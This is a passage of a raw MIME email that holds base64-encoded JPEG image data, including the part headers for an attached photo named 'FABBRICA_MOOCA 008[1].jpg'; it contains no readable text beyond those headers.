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 ------=_NextPart_000_00C3_01CEF723.E27A6070 Content-Type: image/jpeg; name="FABBRICA_MOOCA%20008[1].jpg" Content-Transfer-Encoding: base64 Content-ID: <962CDFF6DC1446CD8764614F2B48F9EA@ROBERTOAZEVEDO> /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkI CQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQ EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD/wAARCAGUAlwDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD1xVp2 36VJt+tO21+08x8OR+XRsqbb7Ubf9mkBGq0bfrUyrTtv1pagQ7aVVqXZ9adto1Ah2807ZU2yjb7C jmsBD5dHl1ME9qdso5wINlLt+tTeXS7BQBBt+tG361PsFGwUAQbfrRt+tT7BRsoAg2/Wjb9asbab t5o5wIdv1o2/Wp9go2CjnAg2/Wjb9an2elLt+tHNcCvt+tG361Ps9aNgo1Ag2/Wjb9an2CjYKNQI Nv1o2/Wp9go2CjUCDb9aTYKsbBSeXTAr+XR5dWdgo2CnzAVvLo2VZ2UzZzRzAV9vPajb9KseX9KN nsKVwK+2m7as7frRt470+YCtto21NtpCtWpAQbab5dWdlJso5gK/l03b9Ksbfajy/YUcwFfb9Kbt qxto2/X8qXMBX201lqxt+tGz2NCAr7aaVq1t+tN8ur5iCvtpu2rHl+1G36UcwFfbxTdtWdv0/Kmb aA5Svt+tNZatbfrTdlAFVl4o2/SrDLTdv1/KqGV9vvUe35qsMtHl0AVdv0pNtWNtM21dyCuy03ZV ny6Yy0cwFfbTdtWCtN21XMBAy0wrVhkppWjmDluV9tN21Y201lqrkEDLTPLq1tqPb/s07gV9v0r6 D+BPx68RePPhvp/iTUGbz7hmDZ+g/wAa8E2n2/Ku4/ZXVR8GtJwo+838lr4Tjd39h/29/wC2n0GR f8vPl+pF5dKq1Jt+lOCV9PzHlEO0U4LU3l/WnbfemBDtp+2n7acq57UuYCLbQq1P5Ypdi0cxRDtp dtTbM0eXS5gIdtO21Js9jTttHMHKQ7fpRtP92pttG36/lS5g5SHb9Kf5f0qXZ7UbPanzAReXR5f0 qXZ7UbPajmFykXl0nl/SptntRs9qOYaIvL+lHl/SpdntRs9qOYCLy6PLqXZ7UbPalzAQ7cUbR7VN 5f8Asijy/wDZFVzAReX9KPL+lS7PajZ7UuYOUh203b7VY8v/AGRRs9hT5h2K+32o2+1WPL/2RR5f +zRzCK+32o2+1Tbfr+VG2jmJIdv+zTNtWdtN2U7hYhx9abtqx5dHl0uYfKV9tG2rGyk2CjmFYr7a Ty6seXSeX7UcwEHl03af7tWPLpu2quBDs+lN2+x/KrG2jbRdgVytN2/WrDJSeXVBYr7BS7am8se1 Jt+lPmDlIClJtNTlKbto5hOJDs+lNZasbabs9qLk2K+2k2ZqwY6Ztp8wEOym7asbabtNPmArlabt +tWClJsFPmAqbT/dpu3rVjb71V1C+sNJtXvNUvILWBeskrbQfp60wDbSeXRYX1jq1jFqGl3MdxbX C745YzlWAqXb9KOa4MrlOaay857VY2+1RzSRWyPNcSLEkKb3dvuqvrTbIIWSmla5zQPih4N8VeI5 vC+g6l9ovIU8wtt2xyY+9tP8VdRs/CnGQ7EG2m7as7f/AK1RXEkFrbtdXM8cUSfM0szbUX86fMFi Fl6D1pu1v7orE0f4geD/ABFr03h3RdUW6vLePzHZFwu3/Zb+L8K6HZ9KIzE42K5SmslWDGc9KGjq uYmxWx9a7T9lf/kjek/7zfyWuS8v2rrf2V/+SN6T/vN/Ja+G40d/Yf8Ab3/tp7+Sf8vPl+pKsdO8 upNv1pwWvpzy7EarTtoqTZRtoCw3aMUBak207bRcLEeyjy6m20balyCxHso8upVSl20uYLEflj3o 2rU2yl20cxRBt9qdtqbZRt9qYEO2jbU232o2+1FybEO2jbU232o2+1FyiHbRtqbb7UbfagmxDto2 1Nt9qNvtS5gsQ7aNtT7fal20cwWK+2jbVjbRto5gsV9vvRt96n20m32ouyiHbTtv0qTb7UbfajmA h20bam2+1G32o5ibEO2mlRVjb7UbKvmCxX2rQUX3qfZSbKfMFiv5dHl1Y2UhT6Uua4WINlN8urG3 6UhWgLEG36UbfpU22jbVICuVpNnsKs7aTb7UcwFbZ7UbParGz2puyjmCxX2fSjy/pVjZTdv0p8wW K+36UhX3qzt+lN20cwWK+2k2irO2m7afMFivtprLVny6Ty6OYLFfbxTNvtVkx/SmslHMKxX201lq wy1Gy1aZJCy0wrU+2msuaOYDE8VX1xpPhnVdUs9v2i0tHlj3LuUMBmvkXXvEmveKrj7dr2qT3bMM hGb5F9lXoK+tvHy/8UL4g7Y0+X/0GvjIM3kLyOFH8qHJs2pQPUP2bvH15Brp+H95vltL7fNZH/n3 lUZZf91gPzr6T+zyfxAgd+OlfD3w58aWfgXx1aeJrqzku0tFkHkxttLblIXmuv8AiD+0V8QvHqCz W6TRdPjXy1gsuJGXP8b9TWLqSjI1dGMotnv3jT4reBPAuY9X1pJbv+GztsSyn8B938a8E8cftCeL PFEE+l6FZx6LpsytG2/55pV+v8Oa8lmuvLkeSDJnbrPKSSarrd+XI3mz7netJTvE5oQszX0PX7vw n4g03XNMcJcWsyOv+0M/Mv49K+5Y723axt76crC00aSbM92Ga+BdQgllkt2XA2sC34HNej618cPG Gr2kem6Gn2CCGNIWaP5nbAx8zt0/ClGrGJdSjOcrx2PovxV8SPDvheCSTUNQgtXAIVZGDSMe21Bz Xyj4u8feJPFt9LJq+t3N3DvPkwRsVQD/AHRxWVNZ3l1I15q1480sjbmy25j/AMCNJaWNvZySyxsc y/ws33ampUlLYdOly7l3wf4i1Lwf4m03xJGrRrayfPH/AHkzhl/Kvtm0urfUrOG/s5Q9vcxrNEy/ xK3+FfDtwi3EZjP/AH1719Sfs7alc6n8NYI7mbzGsrh7dfVUXnb+tFGb5rMVal9o9D2+1N21aZR1 pnl12HIV/Lrp/wBlf/kjek/7zfyWue2/Suh/ZX/5I3pP+838lr4jjJ/wf+3v/bT3sk/5efL9TR2U 4L7VJt+n5U/ZX0fMeYRbaNtS7aeqfSnzAQ7adsqbZ9KNvtS5gI9vtRt9qm2UbKm9wIwlO8sVJtp2 2gCHbRtqbbTgvFHMBCFo2VNt+n5Ubfp+VHMBDso2VNt+n5Ubfp+VPmAh2+1GyrG32poX6UuYCHb7 UbfarGyl2UcwFbb7UbKsbKNlHMBDs9qNvtU+2k2UcwEO32o2+1TbKNlHMBDs9qNntU2yjZT5h2Id ntRs9qm2UbKXMIh2e1N2VY2U3YfSjmAh2UbKm2N7UbD7U+YCHZTdtWCtG32qrgV9v0o21Y20nlUX ArbaNtWNtNZaOYdiHZSbfap9tNK/SjnEQ7fajZ7VNt+lG2q5wINlJsqz5f1pm36UcwFfbRtqbbRt 96OYCuy03bVjbRtpqQFfb7Unl1Y20hWq5gK+ymFas7ajZaOYGQ7aay1PtpGWjmJsV9lNaOp9vtXG fEr4laH8MdPt7zVree4lv5GW3hhGclcbix7datO4WOo21BfXlnptrJeaheQWtvGu5pLhtqj/AIEa 8J8YftTL5TW/gPQTJK6c3t5wsZ/2U/irw7xR4z8TeMLr7V4m166v2+8sYbECf7q/dFUFuh7z8Tv2 gvBs2k33hbwzHLqs95C9u9xH8sMeRjcCfvV8+yHy4RznAA/SsL7bG1zHAsowzBVVOFWt5/kjI4as +Y6IR5Dk7hoYZGkuLra/91Kptqi/MtpHsA+83VmrL1hyLyaRDkbvu+lTaPBN+8aRGGfutisZOTHz dBkuoXM7fLv+rUtnFqFvNHe3EDCLd1b/AArWht4bf7sao395uTUV1fxYVFm8x2bb83QUXsKEI9We m/Cn/hVkniJ7z4uNeyaRbWrSw21qp3XM+Rtj47Vp/Fvx54S8baxZv4F8Ex+GNJ023W0itVxulwSf MfH8XNeaWCbtqySbfl4q8zKo+WuT6qlW9vKX9eh0vEP2fskhzLJy754qvFujkd5JFdX+6uPu1IzT SL8xYKe9RRtIZWVoTtXhW9a65TvsYRH7t7egr6e/Zqs4YvAM9xCuyS4vpGkb+9gAV8v7v3mzj86+ qv2bE/4tuAe19Kf5U6TtIVb4T0x1z+NN21Ydabtrt5rnn2K+2tv9lf8A5I3pP+838lrK21q/sr/8 kb0n/eb+S18Vxf8A8uf+3v8A2093Jft/L9TdVKcEPtT9op6rX0R5pFtb0FKFOam2+1G2jmFyEe2n bak2Uu2jmCxHil21JtpwWjmHqR+XS7BUu2jbRzBqRhaNlSbTTtlK4WIttLtqXYKXb9aXNYLEO2jb U2360bfrRzgQ7adt9qk2/Wjb9aOa4EW2k2mpwv1pdtMdiDaaNpqxtpNtAEG1qNre35VPto20rhYg 2tRtNT7aNtFxNEG00bTU+2jbTHYg2mjaan20baB2INppdvtU22jbT5idSHb7Um32qfbRto5g1K+y jy6sbaNtHMOxW20u2pttG360cwuQr7Pajy/apvLo8ujmCxXKemKPL9hmp9tJt9qOYOW5X2+1Jt/2 an20baExchDtPpTdlWNtG2q5g5CttpPL9qsbKTYKfMHIVvL9qCvpVnbTNtHMMrlTSbKnK+wpNvtR zCsVttIyVOy0bKdxFXaaNvrU5Wmsp8vdzxnPpT5gINv5V4D+1kiDTPDjMOs1x/IV7hqfiLSdJt5J ri4iVV6tI+1R/wACPFfMf7QPxJ8PeOP7P07Sb5Lk6e0hdkU7Fz6N36VtG4R1Z4XfXCwRr5zHhf8A Visf7dNeSeVG+xf7q8CpLyLz5vlSWQsOrU2O2jtyZJ3UAfw037xcfdkZcM7waxDHgvsn+vFdzcS/ uGaP5iVrlI7+wW6REhXLN8zL1FdVI0cVvmPlUX5awT5TRPnONkXTbGR2dN8u/wCbdTV1Ca4k8u0h yKnuLfTIbiS4uGM0jNlkPaom1RX+W0hA2/wqtU3YxlG/Ul+wseby5A/2RUdwLOJVhjVGLfw96iW3 1K8+aTMA/wBr71LcaVDZW/2qcu7OwxJ0xWcrsqmuV2NnT1abYM7PlxzV6TyYcfPuKdc1k27TMqNb qXarUdjub/TpmYn+FaFbl2NftEs+sq58lI9/+zHVSGS+vpHhVzbrF97Petb/AEWGPybW1VCf46rr JG7eWrqzofnpPcuJUNmtmwuIZGdl+9uNfW37NHz/AA03Dn/Tpf6V8rbdzMG5zX1H+yz9s/4V3dQ3 EKrbx6i/kN/eG0Z/Wrpv3ia6tG566yU3YKsMtN2cV1nHYr+WPU1f/ZX/AOSN6T/vN/JarbfarP7K /wDyRvSf95v5LXxvF/8Ay5/7e/8AbT2so+38v1On2e1OVak207bX0HOeWR7frTttSKlO21PMBHtp 2yn7afto5iiJUp22n7fpTtlAEe2jbUu36UbKnmAi207b7VJt+tG2jmAj2e1G2pttLt9qVwItlGyp tvtRt+lFwIdlGyptv0o2/Si4EOyjZU236UbfpT5gIdlGyptv0o2/SjmAi2Uu2pNv0p3l0rgQ7frR t+tTeXR5dMCHb9aNv1qby6PLo5gIdv1o2/WpvLo8ujmAh2/Wjb9am8ujy6OYCHb9aNv1qby6PLo5 gIdv1o21N5dHl0cwEGyk2VNt57UbfpRzAV9n0o2H2qxt+lN20+cmxDspu2rG2mlafMyiHbTdntU+ 0Uu2jmJZX2e1N2VY8ujZRzAV9lN2/SrO32FN2+1VzgQbKbtqxt+lN2+1HOBXKe1DJVjZ9aRkoUhd Sps+lGz1xVjbTWXPFVzF8pxfxQ8ZS/D7wbeeJ7XT0vJoGSNYpGwuWON1fKerfH74jaxrUWpNqvMQ ZobONdtv0x8w/i/Gvor9pizjufhVdNNvPkXULLhsd8fN+dfH7LCsmY40V8bfl/u1009YicblzxDr Hi7xRJ9q8Ua9PNubItw2EX/dUcCsHWI7O1to1h+RFbczbsNWpPuVdzSA1k695MlvH8g2o25t3etZ BGNtjCudSMny2cLSnsRVKbT5rlS17cmNT/CtWLjUVVfLs49+f7tVmt7yZfMupPJU/wAPesOYlxu9 RbU6bazLbxQhd7ffblq6xvLgh+T7qrXJW66XDcRxp8zO23zGrq5EMcPzfdVaykbU9tDk/wCwBc3U txdTSTFm3bU4x7VcnittNt5ZF8uORV+VV5apJJLmYbZJtqHkBaY1miL++2KP7zNWmj21Mnd+Riaf d6lLeLMVcqv8T1e1KOa8hX7TcPw25f7tWvMt4iFjRpH/APHap6k11PCseFUK33RWcpuKKjFc1y9p 7SbU8oN/wGtRY23DzvlrKsJNiDa20+lX0JA5J+Y/xUlN8hrYuTfZ0j2Q/MxqrGiR7mWNVZ/vH1qQ pHH/AMttzD+7UMcaxyPMrMxk7MaUhx0JB949q+sf2YV/4tj1/wCX+b+lfJi53V9b/svpu+GP/b/L /SqpP3grfCeqstN21Y203Z7V18xyEO2n/sr/APJG9J/3m/ktO2U39lf/AJI3pP8AvN/Ja+N4td/Y /wDb3/tp7GU/b+X6nZ7fanbal2/Sl2/WveueYR7aftp236Uu2lzBYZt+lKFqTbTttAyPb9KNtS7a cE9iaXNYCLbRsqbb9KNtS2VYj8se1Lt+lS7fpRt+lHMBFtpdvtUm36U7aP8AJouwIdvtS7fpU22j b9KLsCHb9KXb9PyqXbS7frRdgQ7fp+VG36flUu2l20cwEO36flRt+n5VNto2/WlzAQ7fp+VG2ptv 1o2incCPb9KNv0qTb9aNv1pcwEe36UbfpUu2jb9KOYBmz2FGz2FSbaNtHMBHs9hRs9hUm2jbRzAQ 7fpRt+lS7fpRt+lHMBFt+lG36VLt+lLto5gK+36flRt+n5VNt5o2/WnzAQ7f84pu0VZ2+1Jto5iS vsH92jb+FT7fpSbapSEQbfpRt+lS7fpRt9qfMMr7fpRt+lTbfpSbfpS5riItnsKj2detWdtJt9qL gV2Wk2/Sp9v0pu2quOxBtpGWrG32FN20cwWK+0U3bVjbSbKrmA8m/aTX/i0mp/8AXaDr/vivjVlX zOxl29P9mvs79pgxp8H9UeTAxNB3x/GPzr4lm1CF7rFrD5k+3b8v92uqhL3Si1cReSm4HP8As1ia 06eQrT/dVtzc4q7Jb6hMh824WP8A2VbLf/WrO1S0tfs4WaKTy/4mZstmtZTJ2MSfVIYPltYx2/1a 0+/e81WFUht1tIUbdub7xps15ZWakWsKf7y8tUW3VtQXcq+VF/ebisubliTvIba2Onw3Ee6ZpJnb q33VrsHVY7dkkJddtcdBpsMVxF5t15kpb5dprr3XFuVn+bC/N7VlI0h7pzqyXjKRGqwr+dH2Nm/f PuYf3m6VC2qXXzRWFiwH/PSSoWs9TvD/AKVds3/TOP8Axqk19lmLWuxYkutNsv8AXXBZv7sdZ+pa jcXsSR2diyQq2d38Ro1DyND8tVt4jI/975mqhJqF1Jh1jfaWHzelZzl7uqNIR946PT2aML5Y6/xM KvL5jZ3NvY1Rs/3ar8qv/vVoKzP97bz/AHeKlSujbl1JfJ8tVLMu/wDu7vmqONX813d/l/hX+7Tl t9uJNpxnr6UyNpvNk86FVj/hbd96qmMk/wB2vrr9ltd3wv8A+3+b+lfIG5t34V9g/ssqf+FWk/8A UQl/pRB6k1vhPWGXFHl1Nt9qbtrp5jlsQ7fpUH7K/wDyRvSf95v5LVzb9Kp/sr/8kb0n/eb+S18j xU7+x/7e/wDbT2MqVuf5fqd6qU7b9Kk207bXuXPOI9lO28VJt+lG2o5gGqtG2pdlG2jmAZtp22pN vFG2pcgsN20bfrUm2jbRzFEe3607bUm3NLto5h2I9n0pdnsKk2/Wjb9aOYCPb9KNv0qbbRto5w5S Hb9KNv0qbbRto5g5SHb9KNv0qbbRto5gtch2/Sjbk9s1Nt9zXz5+1BqmraPq3h640nUrqyfyZfmt 5Cncela0Y+1lyomXuo998sg9Kdsr430r4+fFDRF8tNcF7GnG28jDZ/Hr+tdba/tUeMZpInbw/pux F2zR/Md7f3lOfl/WumWAqoyVRH035dHl15R4V/aT8B6taj/hJJ/7Dvw23yWVpFK/3twFel6X4k8O 65Gsuj65Y3g9I5lP6GuOpTq094mkZxLuyl2/WpNmPT1o21mpF7ke360bfrU3l0eXRzlWIdv1o2/W pvLo8ujnJsQ7frRt+tTbKbt+lHOVyke3603ZU236UbaOYXKQ+XR5dTbabtp8xPKR+XTdlTbaNtPm HykO36UbetTbaNtHOHKV9tG2ptv1o20+YjlK+360bfrU2yjy6akLlIGWk8upttN207j5SHb9Kbtq xtpu2nzDsQ7aaVqfbTGWncViIrTNvWrG2o9tFwseR/tO2NrcfCHUXuozIILiCSPBxtbeB/ImvjBk t1l+VY1Yr/wIrX23+0wv/FnNa39PMg/9DFfEUzwiX+Hzdv8AwLbXZQ+EoWSJo4xyqqayfEi2bW0a o8m3d8zZrVuoZ44/MkKH/ZJrA1qE3FusbMVTdubbVyJMRrjT7Fc26ox7d2qo1xqV5N+4Vgn+1xVl v7N05dqMrOf73NVpL68uiy2tuzD8hWVwC30mb7RHJPeKZA3yRrXZeXI1qVuGO7b822uGtbC6jmik urlY2V/kjHJrt28+W32O21mT5vpUc3MaRjbc4S8utQmvHhgEjRI52/7tann3jxqskyxDHK96z73V pvOkt7f5gjbflWltbHVdQP8Aq3Xd/wB9U+a3kQ4xYswsN3nXB8x0/iY1C2qRblht2VV+nFdt4d+B vizxBH9o/s+byj/y0mPlqfpnk0niz4f/APCF2KyXX7xXby0kEZEbP/dDHqawlXpz93mHBqOxj6fG u1TK+f8AdrQ8xP8Aljjip/Bng/W/Fl+ul6TFGZY42kk8yZI1Vf7xZyAPxNaXijw3B4VuobOPWtO1 KUR7rgWMvmLE+fus2MM304rSEuhe8jIMk0xw0mP92oYZt8kkKxyfufvMw61KbiabKttVP7qimpIr 5hWRWZfvL6VUpFRjcM/N9a+xf2V1/wCLWH/r/l/pXx39xh9K+xv2U/n+FZ/7CUv9KUPiJrK8T1zb Tdv1qcx0zb9K6LnNYh8us79lf/kjek/7zfyWtfb9KyP2V/8Akjek/wC838lr5Lij/l1/29/7aetl atz/AC/U9H2+1O8unKlSBa9rmOCxGq07bTvL9qdtqOYqw0LRtzUirTttO4WGbKNlSbc0qrU8wWI9 n1p22pNlG2jmAj2/WnbfapNtG2jmGR7aXbT9tLtqeYQzYKXYKftFG2jmGM20mKk20vPtRzAR7fYU ydobeNprl0jRfvM7bVWp9v6V598TPEvh/Uvhn4kXTtXgnItZYlaNsgMp+7ns1aU488hSlyndZj8t pI5Ebapb5Wz2zXxd8VfiZqXxEv7ZdQ0+C2bSmlhXyWPzgtjv7CuPt/EHiDT4UFnrmo24K4IjuG/x qo0hkYySEln5JPPPvXsYbC+xlzHPKXMWZPD+uf2euvfZZH0uWb7IrY+XzsZ259cUyK3urUvHdQvC /wDdddtVm1O8hP2eKS4WGM+agWQ7N/rt/ve9WY9c1DxA5vtUmnlm4XMx5H5V1c9RyFyxK1x/x8DO OcVJY3E0eXh822kRtqtG5GP9riqGoCz/ALWi82R1lP8Aq/Q1asxCnmeW275stz/FWsnf4ieQ+1/g fqkWo/DXRln1IXV4I5PNDzB5P9YfvDrXf7fxr4x+CHjnQ/h/4zk1rxDJOtpLavb5iUsdzEHp+FfT Phz40/DnxVqltomj6xJLe3TbY4WhZf4SfT2r57FUZQm5ROiEjttv1pdvtUm3rRsriUrmxHt9qNvt U22k2+1HMFiLb7U3b9am2/WjbT5gIcUbal8tjghc5o2+1VZg2iDbzRt+tSGNs8qaNntSvYgj2/Wj b9ak2e1Hl0+YZFs9aNgqXZSbaOYRF5dN2+1TbaNtVzBYh2+1Jt+tTbKTbRzBYhaOm7frU2z2/Wm+ X7U+YCLYKNlS7aTbVcwEBXmm7an20m2nzBYr7aay1Y20zZ7U7iseV/tML/xZnXP96D/0YtfDUnlG 4ICIZdv/AALbX3V+0qv/ABZnXuOrQ/8Aoxa+F5GVpivyq+3/AIFtrtw+w2hLi1mWPdPIfn96yvEk NutnHHDcMPm+ZqvG8huGeFZjI6LurD1SWaa3zJG1vHu+85z/AOO1VSWhKMO4/sux/wCWas3Xc5qn /adxeborVHZV/hRauSQaTbrvZRL/ANdGqrJrO3MNrtUntGtc1pSKTihtvpupPdLNcuI1R9yru+au zCyzW/8AdZk71xFnHrEs8c21lVW3bmruN801rujjyzLzuNPYqOpz8MkDXh02zhE07N8qxLlmNdF9 o1Hw3cRSTLHau5GCNski+uV6L+NcZNqVrpd06xWoWdG+Zt1QDWru7d/JV5CeuO9ZzjKW5hOPNoz7 G8J/tSfC7wj4Zu7aL4by6vq2FEU2oXeUIUD95jGFJOflA7da8T+M3x98VfF6wg0XXIdMtdGtLhrq 1srC2EaxyYwGLfePWvJo7XWbiTdMywIw6M1Emm29vH++v2Z8/eXtXPHCUqb5updOF9Dd05ZJ41Xc w3DnLYyP6ir/AJKwlY9wP97ZxWTZySbUZXzWjB6Mx5Peu2C9005bSLcs1vt8mCEh/wC81VFWNWZ4 1VXb75q3ItrGvyuWk9Kpxwwws8i9ZfvZNVMcSTvzzivsj9k//klrkdtRl/kK+OF+Zmr7L/ZLX/i1 T/8AYSl/kKzi/eCp8J7Cy03b9fyqZloK8Vu5HIV9v1rE/ZX/AOSN6T/vN/Ja6HZXPfsr/wDJG9J/ 3m/ktfK8Tf8ALr/t79D1ss+18v1PUtgpVWnbacq17ByWG7aNtSbKdt4qQI1WnbKeFpdppXAaFo21 IFo21IDdtG2pdtGyi4DNv0o2/SpMCl20XAi2/Sjae3apttZ/iDzLfQNSuIWZXjs5XR1+8rbTTirs UnbUnu5YbKF7u9kSCKFd0kjnaqp/tVUsfEPh3VGVNN16wuy/3EiuFdj+VfDdx8WviHNZ3Om3Xi6+ mtbpHjljlbfvQkjbzWL4d8Yal4O1q08RaTtF3YSb41cZV+3zD6V7KyefLeT1PPjj7y5bH6H+S3UK T+FJtJ+6ucegr4svvjp8Q9e1Btet9cn03zFUm3tpMQjbxwD61L4y/aN8TeLrXS49P8/QrjTlKzy2 t0f9JzjllA9v1rD+y6x0SxcYx5mfY2rNJBpd5NG2xktpHViP9k18IQ+ONet9BvfC5+zvY300kkha P59zNk4P4V6D4J/ac1LQ/D9/ofiq0utalut4jumn+aJWXbt5HbrXkFusl5cfZV27ppAq59z+nWur C4SWHcvaIhVY4j4SKZsxt/ninR/dHem+INFuNOvm029kMU9lIVkEbBkJH8OR1602PbyY+fm5rr5+ Ya0Igt8vmZZGj+bbT9Ja6MLfaEUSbvurUOzLSMl+Wb5h5efue9S6Oki28jSXCzPu+8OKrmAbfSMl 8irbswbGWH8FPt598rwpDImD95l+VqjvBdfbAITH5fHmbvvVYia+DFJYESPHyMp+Zqi4EjH7vX71 dz8GdQXS/iZoN5MrMI5mX5f9pSP61wU0hiXfKDsUfeq1a6g9nJHeWs7wsi71kjJVl/2s1M0qkeUZ 9++H/F2i+ItSv9H0+SRrzSlj+0xMjLt3jK/N0atzZXy7+yhrN3rHjbWbq61We782w+eSRyd+1gFP /AelfU3ze1fOYmHsalkdVJXiRbfal2CpPm9qbtrHmNBjLj61Q1vVrHw7pd1repTLHbWsfmMzfpWB 8XPF+oeA/A934g0vyzerIkcXnLleW/wr5m8e/Hbxd440FPDmpWtnBBJKskjW4I8zb/Cf5/hXXhsL Os+boYTlYzvEfxM8Y/8ACQ6hqml+K7+KGaZpEWKY7QO21fpUcPxn+JU1v5Mniq8aKfAbfjcv/Asc VyMrqFY79ie3as1Wj863C3jsowFjb/lp/tV76p01b3Tn1Z6rpPx2+JHh+YXI1r+0Y/u+TervX9MG us079qrxAMx6l4d0+dk5fyZGT/GvEdU8xbM+S6JJuxlv6VBbpIsjtIsWx1HzJ95vrUyw9GW8RrmR 93+C/Ef/AAl3hXT/ABJ9k+zfb4/M+z7s7TnH3q3dtfPn7NfxE1CVrjwrr2r2cWl2Ft/oaTYjIfd6 /wAVfQNvd2V5uNndwzbfveU4bGfXFfP16TozcTpjLmHbab5dTbPyo2fhWHMaWINopNvtU22k20+Y LEewUzbU21jnA6UjKdxXcARzzVoh6EW3im7aeHgkby47iN8ddrCl2r/eX/voU+WXYLoh20m2pStG 